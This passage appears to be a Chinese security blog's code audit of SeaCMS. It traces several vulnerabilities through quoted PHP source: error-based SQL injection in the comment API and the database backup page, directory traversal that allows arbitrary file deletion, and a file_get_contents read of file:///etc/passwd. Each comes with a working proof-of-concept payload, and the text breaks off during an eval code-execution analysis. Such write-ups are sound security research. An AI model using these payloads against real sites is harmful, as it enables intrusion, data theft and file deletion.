class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-comment">// config.php 会加载common.php对外部数据做全局过滤,还会加载check.admin.php做身份验证,是后台的核心文件</span><br><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/config.php"</span>);<br><span class="hljs-comment">// inc_menu.php 存有后台菜单的大量信息,将会在index.htm中显示</span><br><span class="hljs-keyword">require_once</span>(sea_ADMIN.<span class="hljs-string">'/inc_menu.php'</span>);<br><span class="hljs-variable">$defaultIcoFile</span> = sea_ROOT.<span class="hljs-string">'/data/admin/quickmenu.txt'</span>;<br><span class="hljs-variable">$myIcoFile</span> = sea_ROOT.<span class="hljs-string">'/data/admin/quickmenu-'</span>.<span class="hljs-variable">$cuserLogin</span>->getUserID().<span class="hljs-string">'.txt'</span>;<br><span class="hljs-keyword">if</span>(!file_exists(<span class="hljs-variable">$myIcoFile</span>)) {<br><span class="hljs-variable">$myIcoFile</span> = <span class="hljs-variable">$defaultIcoFile</span>;<br>}<br><span class="hljs-comment">// 后台的视图输出都在该模板中</span><br><span class="hljs-keyword">include</span>(sea_ADMIN.<span class="hljs-string">'/templets/index.htm'</span>);<br></code></pre></td></tr></table></figure><h3 id="admin-config-php"><a href="#admin-config-php" class="headerlink" title="admin/config.php"></a>admin/config.php</h3><blockquote><p>admin/config.php</p></blockquote><ul><li>加载了和首页index.php相同的common.php,这里能知道 BlueCMS 后台也做了全局安全过滤和其他的操作</li><li>加载了check.admin.php,该类定义了userLogin类,用于用户的身份认证,所以加载了 config.php 的文件基本可以认定是需要登陆后台。SeaCMS 主要通过session来认证用户身份,没有通过认证的将会跳转到登陆页面。因为我没有看出SeaCMS的认证缺陷,这里就不多分析具体的逻辑了</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 加载基础文件</span><br><span class="hljs-keyword">require_once</span>(sea_ADMIN.<span class="hljs-string">"/../include/common.php"</span>);<br><span class="hljs-keyword">require_once</span>(sea_INC.<span class="hljs-string">"/check.admin.php"</span>);<br><span class="hljs-comment">//检验用户登录状态</span><br><span class="hljs-variable">$cuserLogin</span> = <span class="hljs-keyword">new</span> userLogin();<br><span class="hljs-variable">$hashstr</span>=md5(<span class="hljs-variable">$cfg_dbpwd</span>.<span class="hljs-variable">$cfg_dbname</span>.<span class="hljs-variable">$cfg_dbuser</span>);<span class="hljs-comment">//构造session安全码</span><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$cuserLogin</span>->getUserID()==-<span class="hljs-number">1</span> <span class="hljs-keyword">OR</span> <span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'hashstr'</span>] !== <span class="hljs-variable">$hashstr</span>)<br>{<br>header(<span class="hljs-string">"location:login.php?gotopage="</span>.urlencode(<span class="hljs-variable">$EkNowurl</span>));<br><span class="hljs-keyword">exit</span>();<br>}<br><span class="hljs-comment">// 定义很多的方法</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">makeTopicSelect</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"><span class="hljs-title">function</span> <span class="hljs-title">getTemplateType</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> ……</span><br></code></pre></td></tr></table></figure><h3 id="后台页面的视图"><a href="#后台页面的视图" class="headerlink" title="后台页面的视图"></a>后台页面的视图</h3><blockquote><p>admin/templets/index.htm</p></blockquote><p>SeaCMS 也有用到 iframe 让 index.php 可以成为入口文件,和BlueCMS不同的是,SeaCMS在菜单栏上并没有使用iframe,而是使用大量php代码+HTML代码来实现,看起来十分困难</p><p>从这里也能感受到早期CMS在视图呈现上的常用方式,它们通常在php代码中保存要输出的信息,然后通过加载一个htm的静态页面,在静态页面中穿插部分php代码,从而呈现出视图。看到这也不免期待使用 MVC 架构的程序实现视图的方案</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">table</span> <span class="hljs-attr">cellpadding</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">cellspacing</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"100%"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"100%"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">tr</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">td</span> <span class="hljs-attr">colspan</span>=<span class="hljs-string">"3"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"90"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>></span><br> # 包括logo,pannel,nav等,其中nav为上部菜单(导航栏),主要显示inc_menu.php中的数据<br> <span class="hljs-tag"></<span class="hljs-name">div</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">td</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">tr</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">tr</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">td</span>></span>#左部菜单和footer,主要显示inc_menu.php中的数据<span class="hljs-tag"></<span class="hljs-name">td</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">td</span> <span class="hljs-attr">valign</span>=<span class="hljs-string">"top"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"maincontent"</span>></span>#主题内容通过iframe实现<br> <span class="hljs-tag"><<span class="hljs-name">iframe</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"index_body.php"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"I2"</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"100%"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"100%"</span> <span class="hljs-attr">frameborder</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">scrolling</span>=<span class="hljs-string">"yes"</span></span><br><span class="hljs-tag"> <span class="hljs-attr">style</span>=<span class="hljs-string">"overflow: visible;"</span>></span><span class="hljs-tag"></<span class="hljs-name">iframe</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">td</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">tr</span>></span><br><span class="hljs-tag"></<span class="hljs-name">table</span>></span><br></code></pre></td></tr></table></figure><h1 id="0x03-挖洞记录"><a href="#0x03-挖洞记录" class="headerlink" title="0x03 挖洞记录"></a>0x03 挖洞记录</h1><p>Seacms 前台除了有一个代码执行的漏洞,没有发现其他什么漏洞,大多数漏洞都在后台。因为前台的代码执行漏洞有点复杂,我放到最后解析</p><h2 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h2><h3 id="前台sql注入"><a href="#前台sql注入" class="headerlink" title="前台sql注入"></a>前台sql注入</h3><blockquote><p>comment/api/index.php</p></blockquote><p>这个前台sql注入稍微有点复杂,但代码审计的关键是一击致命,下面放出一眼应该看出存在漏洞的两行代码:</p><p>我们知道addslashs()主要是过滤引号的sql注入,其中<code>$type</code>, <code>$ids</code>并没有被引号包裹,如果我们找出这两个参数可控,那么这个sql注入就可利用了</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$sql</span> = <span class="hljs-string">"SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=<span class="hljs-subst">$type</span> AND id in (<span class="hljs-subst">$ids</span>) ORDER BY id DESC"</span>;<br> <span class="hljs-variable">$dsql</span>->setQuery(<span class="hljs-variable">$sql</span>);<br></code></pre></td></tr></table></figure><p>然后再细看代码:</p><ul><li><code>$type</code> 默认为1,而且会经过 is_numeric() 数字类参数的判断,故该参数不能利用,同样的<code>$id</code>,<code>$page</code>也只能控制为数字类的参数</li><li><code>$page<2</code> 可能会提前退出程序,所以最好控制 <strong>$page>=2</strong></li><li>最后最执行ReadData()函数,跟进该函数,当 <strong>$id>0</strong>(来自$gid)时会调用Readmlist(), Readrlist()</li><li>传入 Readrlist() 的参数来自 <code>$ids = $x = implode(',',$rlist)</code>,即 <code>$rlist</code>,该参数可控,implode()是把数组参数转换为字符串, 所以 <code>$ids</code> 可控,那么上面的代码漏洞存在</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(<span class="hljs-string">"../../include/common.php"</span>);<br><span class="hljs-variable">$id</span> = (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$gid</span>) && is_numeric(<span class="hljs-variable">$gid</span>)) ? <span class="hljs-variable">$gid</span> : <span class="hljs-number">0</span>;<br><span class="hljs-variable">$page</span> = (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$page</span>) && is_numeric(<span class="hljs-variable">$page</span>)) ? <span class="hljs-variable">$page</span> : <span class="hljs-number">1</span>;<br><span class="hljs-variable">$type</span> = (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$type</span>) && is_numeric(<span class="hljs-variable">$type</span>)) ? <span class="hljs-variable">$type</span> : <span class="hljs-number">1</span>;<br><span class="hljs-comment">//缓存第一页的评论</span><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$page</span><<span class="hljs-number">2</span>)<br>{<br><span class="hljs-keyword">if</span>(file_exists(<span class="hljs-variable">$jsoncachefile</span>))<br>{<br><span class="hljs-variable">$json</span>=LoadFile(<span class="hljs-variable">$jsoncachefile</span>);<br><span class="hljs-keyword">die</span>(<span class="hljs-variable">$json</span>);<br>}<br>}<br><span class="hljs-variable">$h</span> = ReadData(<span class="hljs-variable">$id</span>,<span class="hljs-variable">$page</span>);<br>……<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ReadData</span>(<span class="hljs-params"><span class="hljs-variable">$id</span>,<span class="hljs-variable">$page</span></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-keyword">global</span> <span class="hljs-variable">$type</span>,<span class="hljs-variable">$pCount</span>,<span class="hljs-variable">$rlist</span>;<br><span class="hljs-variable">$ret</span> = <span class="hljs-keyword">array</span>(<span class="hljs-string">""</span>,<span class="hljs-string">""</span>,<span class="hljs-variable">$page</span>,<span class="hljs-number">0</span>,<span class="hljs-number">10</span>,<span class="hljs-variable">$type</span>,<span class="hljs-variable">$id</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$id</span>><span class="hljs-number">0</span>)<br>{<br><span class="hljs-variable">$ret</span>[<span class="hljs-number">0</span>] = Readmlist(<span class="hljs-variable">$id</span>,<span class="hljs-variable">$page</span>,<span class="hljs-variable">$ret</span>[<span class="hljs-number">4</span>]);<br><span class="hljs-variable">$ret</span>[<span class="hljs-number">3</span>] = <span class="hljs-variable">$pCount</span>;<br> <span class="hljs-comment">// $x来自$rlist,然后传入Readrlist()</span><br><span class="hljs-variable">$x</span> = implode(<span class="hljs-string">','</span>,<span class="hljs-variable">$rlist</span>);<br><span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$x</span>))<br>{<br><span class="hljs-variable">$ret</span>[<span class="hljs-number">1</span>] = Readrlist(<span class="hljs-variable">$x</span>,<span class="hljs-number">1</span>,<span class="hljs-number">10000</span>);<br>}<br>}<br><span class="hljs-variable">$readData</span> = FormatJson(<span class="hljs-variable">$ret</span>);<br><span class="hljs-keyword">return</span> <span class="hljs-variable">$readData</span>;<br>}<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Readrlist</span>(<span class="hljs-params"><span class="hljs-variable">$ids</span>,<span class="hljs-variable">$page</span>,<span class="hljs-variable">$size</span></span>)</span>{<br> <span class="hljs-keyword">global</span> <span class="hljs-variable">$dsql</span>,<span class="hljs-variable">$type</span>;<br> <span class="hljs-variable">$sql</span> = <span class="hljs-string">"SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=<span class="hljs-subst">$type</span> AND id in (<span class="hljs-subst">$ids</span>) ORDER BY id DESC"</span>;<br> <span class="hljs-variable">$dsql</span>->setQuery(<span class="hljs-variable">$sql</span>);<br> ……<br>}<br></code></pre></td></tr></table></figure><p>现在我们就需要构造一个poc,上面我们知道,需要的条件有:1、**$page>=2** ;2、**$gid>0<strong>;3、</strong>$rlist** 为数组</p><p>最终构造的POC:</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc"><span class="hljs-link">http://seacms.test:8888/comment/api/index.php?gid=1&page=2&rlist</span>[<span class="hljs-string"></span>]=extractvalue(1,concat_ws(0x7e,user(),database()))<br></code></pre></td></tr></table></figure><p>注意绕过SeaCMS内置的waf</p><img src="img/seacms/image-20210810185247600.png" alt="image-20210810185247600" style="zoom:50%;" /><p>像这种漏洞通过黑盒测试是很难测出来的,如果通过代码审计找到这个漏洞就会比较有成就感</p><h3 id="后台反引号sql注入"><a href="#后台反引号sql注入" class="headerlink" title="后台反引号sql注入"></a>后台反引号sql注入</h3><blockquote><p>admin/admin_database.php</p></blockquote><p>这是一个很典型的sql注入漏洞,使用 addslashes() 只能过滤掉单引号的注入,使用反引号包裹变量可以绕过,反引号一般用于包裹表名,可以利用下面的正则全局搜索一下</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs css">`<span class="hljs-selector-attr">[$]</span><span class="hljs-selector-attr">[A-Za-z0-9_]</span>*`<br></code></pre></td></tr></table></figure><p>便可以找到 admin_database.php 存在这样的代码:</p><ul><li><p>admin_database.php 加载了 config.php,就会对GPC数据过滤并注册、验证登陆状态</p></li><li><p>通过控制 <code>$action=="bak"</code>,<code>$nowtable</code>不为空,就可以成功执行</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">Select</span> <span class="hljs-operator">*</span> <span class="hljs-keyword">From</span> `$nowtable`<br></code></pre></td></tr></table></figure><p>而 <code>$nowtable</code> 不为空且可控,可以通过该值传入sql语句。这里就是常见的反引号包裹表名绕过单引号过滤导致的SQL注入</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/config.php"</span>);<br>……<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$action</span>==<span class="hljs-string">"bak"</span>)<br>{<br> <span class="hljs-variable">$tables</span> = explode(<span class="hljs-string">','</span>,<span class="hljs-variable">$tablearr</span>);<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$tablearr</span>))<br>{<br>ShowMsg(<span class="hljs-string">'你没选中任何表!'</span>,<span class="hljs-string">'admin_database.php'</span>);<br><span class="hljs-keyword">exit</span>();<br>}<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$nowtable</span>==<span class="hljs-string">''</span>)<br> {<br> ……<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-variable">$dsql</span>->SetQuery(<span class="hljs-string">"Select * From `<span class="hljs-subst">$nowtable</span>` "</span>);<br><span class="hljs-variable">$dsql</span>->Execute();<br> }<br> <span class="hljs-keyword">while</span>(<span class="hljs-variable">$row2</span> = <span class="hljs-variable">$dsql</span>->GetArray())<br>{<br> <br> }<br> <span class="hljs-keyword">for</span>(<span class="hljs-variable">$i</span>=<span class="hljs-number">0</span>;<span class="hljs-variable">$i</span><count(<span class="hljs-variable">$tables</span>);<span class="hljs-variable">$i</span>++)<br>{<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$tables</span>[<span class="hljs-variable">$i</span>]==<span class="hljs-variable">$nowtable</span>)<br>{<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$tables</span>[<span class="hljs-variable">$i</span>+<span class="hljs-number">1</span>]))<br>{<br><span class="hljs-variable">$nowtable</span> = <span class="hljs-variable">$tables</span>[<span class="hljs-variable">$i</span>+<span class="hljs-number">1</span>];<br><span class="hljs-variable">$startpos</span> = <span class="hljs-number">0</span>;<br><span class="hljs-keyword">break</span>;<br>}<span class="hljs-keyword">else</span><br>{<br>PutInfo(<span class="hljs-string">"完成所有数据备份!"</span>,<span class="hljs-string">""</span>);<br>header(<span class="hljs-string">'Location:admin_database.php'</span>);<br><span class="hljs-keyword">exit</span>();<br>}<br>}<br>}<br> <span class="hljs-variable">$doneForm</span>=<span class="hljs-string">"<form name='gonext' method='post' action='admin_database.php?action=bak'>"</span><br> <span class="hljs-comment">//…… 一直跳转备份</span><br>}<br></code></pre></td></tr></table></figure><p>但我这里遇到两个小问题:</p><p>1)构造sql报错语句</p><p>该处为闭合表名注入sql语句,最好的方式是构造报错语句。一般遇到的sql注入都是在where处,此处sql注入位于表名,最好注入where语句,如下:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-operator">*</span> <span class="hljs-keyword">FROM</span> `sea_admin` <span class="hljs-keyword">WHERE</span> <span class="hljs-number">1</span><span class="hljs-operator">=</span>extractvalue(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0x7e</span>,DATABASE()));<br></code></pre></td></tr></table></figure><p>这个前提是要知道存在的表名,否则会因为表名不存在报错而没有执行我们注入的报错语句</p><p>表名一般都很好猜测,其次这里既然是参数传来,我们抓包应该也能获取到</p><p>2)循环备份逻辑干扰结果判断</p><p>详细读了代码,发现注入sql语句会导致网站一直循环备份,影响sql注入的结果,我没有找到停止循环的方式,很烦。</p><p>不过该处的循环方式采用的是自动发起一个form表单,相当于再次访问该网页。于是我便用burp来发包,确保只看第一个数据包</p><img src="img/seacms/image-20210709161343367.png" alt="image-20210709161343367" style="zoom:50%;" /><h2 id="目录穿越"><a href="#目录穿越" class="headerlink" title="目录穿越"></a>目录穿越</h2><p>这一个就比较有意思了,在Seay扫描结果中发现一个可能任意文件删除</p><img src="img/seacms/image-20210709172002654.png" alt="image-20210709172002654" style="zoom:50%;" /><p>现在浏览器中打开该网页,有种目录遍历的感觉呀</p><img src="img/seacms/image-20210709172057928.png" alt="image-20210709172057928" style="zoom:50%;" /><p>查看代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/config.php"</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$action</span>))<br>{<br><span class="hljs-variable">$action</span> = <span class="hljs-string">''</span>;<br>}<br><span class="hljs-variable">$dirTemplate</span>=<span class="hljs-string">"../templets"</span>;<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$action</span>==<span class="hljs-string">'edit'</span>){}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$action</span>==<span class="hljs-string">'del'</span>){}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$action</span>==<span class="hljs-string">'add'</span>){}<br><span class="hljs-keyword">else</span><br>{<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$path</span>)) <span class="hljs-variable">$path</span>=<span class="hljs-variable">$dirTemplate</span>; <span class="hljs-keyword">else</span> <span class="hljs-variable">$path</span>=strtolower(<span class="hljs-variable">$path</span>);<br><span class="hljs-keyword">if</span>(substr(<span class="hljs-variable">$path</span>,<span class="hljs-number">0</span>,<span class="hljs-number">11</span>)!=<span class="hljs-variable">$dirTemplate</span>){<br>ShowMsg(<span class="hljs-string">"只允许编辑templets目录!"</span>,<span class="hljs-string">"admin_template.php"</span>);<br><span class="hljs-keyword">exit</span>;<br>}<br><span class="hljs-variable">$flist</span>=getFolderList(<span class="hljs-variable">$path</span>);<br><span class="hljs-keyword">include</span>(sea_ADMIN.<span class="hljs-string">'/templets/admin_template.htm'</span>);<br><span class="hljs-keyword">exit</span>();<br>}<br></code></pre></td></tr></table></figure><p>截取 <code>$path</code> 前11位字符,如果不等于 <code>../templets</code> 则直接退出</p><p>前11位字符控制了,但我们还可以控制后面的字符:<code>../templets/../../</code></p><img src="img/seacms/image-20210709173837198.png" alt="image-20210709173837198" style="zoom:50%;" /><p>到这,我们有了整个操作系统文件的基础控制权,包括浏览,删除等操作</p><p>具体看了seacms提供的功能,对应每个文件都会有删除功能,而且同样只限制了前11位字符,可以绕过实现任意文件删除,而且此处因为可以浏览操作系统中存在哪些文件,于是删除哪些文件都能知道路径,做到「真任意文件删除」</p><p>另外本处只能通过<strong>编辑</strong>功能查看部分后缀文件,虽然有限,但同样能看到操作系统中的所有符合要求的文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">if</span> (<span class="hljs-variable">$filetype</span>!=<span class="hljs-string">"html"</span> && <span class="hljs-variable">$filetype</span>!=<span class="hljs-string">"htm"</span> && <span class="hljs-variable">$filetype</span>!=<span class="hljs-string">"js"</span> && <span class="hljs-variable">$filetype</span>!=<span class="hljs-string">"css"</span> && <span class="hljs-variable">$filetype</span>!=<span class="hljs-string">"txt"</span>)<br>{<br>ShowMsg(<span class="hljs-string">"操作被禁止!"</span>,<span class="hljs-string">"admin_template.php"</span>);<br><span class="hljs-keyword">exit</span>;<br>}<br></code></pre></td></tr></table></figure><h2 id="任意文件读取"><a href="#任意文件读取" class="headerlink" title="任意文件读取"></a>任意文件读取</h2><blockquote><p>admin/templets/admin_collect_ruleadd2.htm</p></blockquote><p>这个htm文件通过 <code>file_get_contents()</code> 读取 <code>$siteurl</code> 的内容</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//96-101</span><br><span class="hljs-meta"><?php</span> <br><span class="hljs-variable">$content</span> = !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$showcode</span>)?@file_get_contents(<span class="hljs-variable">$siteurl</span>):<span class="hljs-string">''</span>;<br><span class="hljs-variable">$content</span> = <span class="hljs-variable">$coding</span>==<span class="hljs-string">'gb2312'</span>?gbutf8(<span class="hljs-variable">$content</span>):<span class="hljs-variable">$content</span>;<br><span class="hljs-keyword">if</span>(!<span class="hljs-variable">$content</span>) <span class="hljs-keyword">echo</span> <span class="hljs-string">"读取URL出错"</span>;<br><span class="hljs-keyword">echo</span> htmlspecialchars(<span class="hljs-variable">$content</span>);<br></code></pre></td></tr></table></figure><p>全局搜索包含<code>admin_collect_ruleadd2.htm</code>的文件,发现admin/admin_collect.php和admin/admin_collect_news.php两个文件均有包含,大致看了内容差不多,按照里面的逻辑构造,利用变量覆盖,最终构造payload如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">POST:http:<span class="hljs-comment">//seacms.test:8888/admin/admin_collect_news.php</span><br>action=addrule&step=<span class="hljs-number">2</span>&itemname=<span class="hljs-number">1</span>&siteurl=file:<span class="hljs-comment">///etc/passwd&showcode=111</span><br></code></pre></td></tr></table></figure><p>效果:</p><img src="img/seacms/image-20210712182104431.png" alt="image-20210712182104431" style="zoom:50%;" /><p>在php中file_get_contents()也可以造成SSRF漏洞</p><h2 id="代码执行"><a href="#代码执行" class="headerlink" title="代码执行"></a>代码执行</h2><h3 id="逆向分析"><a href="#逆向分析" class="headerlink" title="逆向分析"></a>逆向分析</h3><blockquote><p>include/main.class.php</p></blockquote><p>该文件有5个差不多的<code>eval</code>语句,具体逻辑有点复杂,我们先直接查看关键语句,可能会被<code>eval</code>执行的<code>$strIf</code>基本来自<code>$content</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseIf</span>(<span class="hljs-params"><span class="hljs-variable">$content</span></span>)</span>{<br> <span class="hljs-variable">$labelRule</span> = buildregx(<span class="hljs-string">"{if:(.*?)}(.*?){end if}"</span>,<span class="hljs-string">"is"</span>);<br> preg_match_all(<span class="hljs-variable">$labelRule</span>,<span class="hljs-variable">$content</span>,<span class="hljs-variable">$iar</span>);<br> <span class="hljs-variable">$strIf</span>=<span class="hljs-variable">$iar</span>[<span class="hljs-number">1</span>][<span class="hljs-variable">$m</span>];<br> ……<br>@<span class="hljs-keyword">eval</span>(<span class="hljs-string">"if("</span>.<span class="hljs-variable">$strIf</span>.<span class="hljs-string">"){\$ifFlag=true;}else{\$ifFlag=false;}"</span>);<br> ……<br>}<br></code></pre></td></tr></table></figure><p>然后追踪一下<code>parseIf()</code>函数</p><hr><blockquote><p>search.php</p></blockquote><p>其中 <code>$content</code> 来自一个缓存文件,为搜索结果展示给用户的 HTML 页面</p><p>在 <code>echoSearchPage()</code> 中,将会对 <code>$content</code> 部分内容做定制替换</p><p>最后 <code>$content</code> 将被 <code>patseIf()</code> 执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(<span class="hljs-string">"include/common.php"</span>);<br><span class="hljs-keyword">require_once</span>(sea_INC.<span class="hljs-string">"/main.class.php"</span>);<br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$_GET</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span>=><span class="hljs-variable">$v</span>)<br>{<br><span 